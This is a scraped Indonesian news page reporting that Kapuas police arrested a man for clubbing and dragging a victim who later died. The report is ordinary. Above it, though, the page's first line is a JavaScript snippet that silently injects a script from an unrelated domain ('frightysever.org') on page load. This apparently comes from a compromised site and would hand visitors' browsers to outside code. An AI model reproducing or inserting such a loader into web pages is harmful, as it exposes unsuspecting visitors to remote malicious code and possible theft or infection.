(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pukul Randy Pakai Kayu hingga Tewas, Korban Sempat Diseret Pakai Motor


KANALKALIMANTAN.COM, KUALA KAPUAS – Polres Kapuas pengungkapan kasus penganiayaan yang mengakibatkan hilangnya nyawa orang, Senin (23/5/2022).

Kapolres Kapuas AKBP Qori Wicaksono menyampaikan kejadian penganiayaan terjadi dilakukan tersangka As (28), warga Desa Penda Muntei, Kecamatan Kapuas Tengah, pada Minggu 15 Mei 2022 sekira pukul 21.00 WIB, memukul Randy, warga Desa Masaran Kecamatan Kapuas Tengah, Kabupaten Kapuas dengan sebatang kayu.

AKBP Qori Wicaksono menjelaskan bermula dari seringnya diejek orang-orang yang melintas di depan rumahnya, tersangka merasa kesal dengan ejekan tersebut, tersangka pun marah, dan tidak mengenal lagi orang yang mengejeknya. Kemudian melihat Rendy melintas di depan rumahnya, tersangka langsung menyerang korban dengan cara memukul kepala korban dengan menggunakan sebatang kayu bulat pada bagian wajah, hingga mengalami luka memar bagian dahi dan luka robek di bagian mulut. “Kemudian oleh tersangka, korban diseret bersama sepeda motor yang dikendarainya,” terang AKBP Qori Wicaksono.

Mengetahui hal itu, dengan dibantu warga, korban dibawa ke Rumah Sakit Dorys Silvanus Palangkaraya untuk mendapatkan perawatan medis. “Setelah satu hari di rumah sakit, korban dinyatakan meninggal dunia,” jelas Kapolres Kapuas.

 

 

Baca juga: Wabah PMK Mulai Dirasakan Pedagang Daging, DKP3: Virus Tidak Menular ke Manusia

Polsek Kapuas Tengah langsung mengamankan pelaku selanjutnya pelaku dibawa ke Mapolres Kapuas untuk diproses hukum lebih lanjut. Barang bukti yang digunakan yaitu sebatang kayu bulat.

”Adapun motif kejadian penganiayaan, pelaku menghabisi nyawa korban dikarenakan sakit hati, sering diolok-olok orang yang melintas di depan tempat tinggalnya,” kata Kapolres Kapuas.

 

Pasal yang dipersangkakan kepada pelaku adalah pasal 351 ayat 3 KUHPdengan ancaman hukuman penjara selama-lamanya 7 tahun. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

2 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

3 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

3 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

4 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

6 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

7 jam ago

This website uses cookies.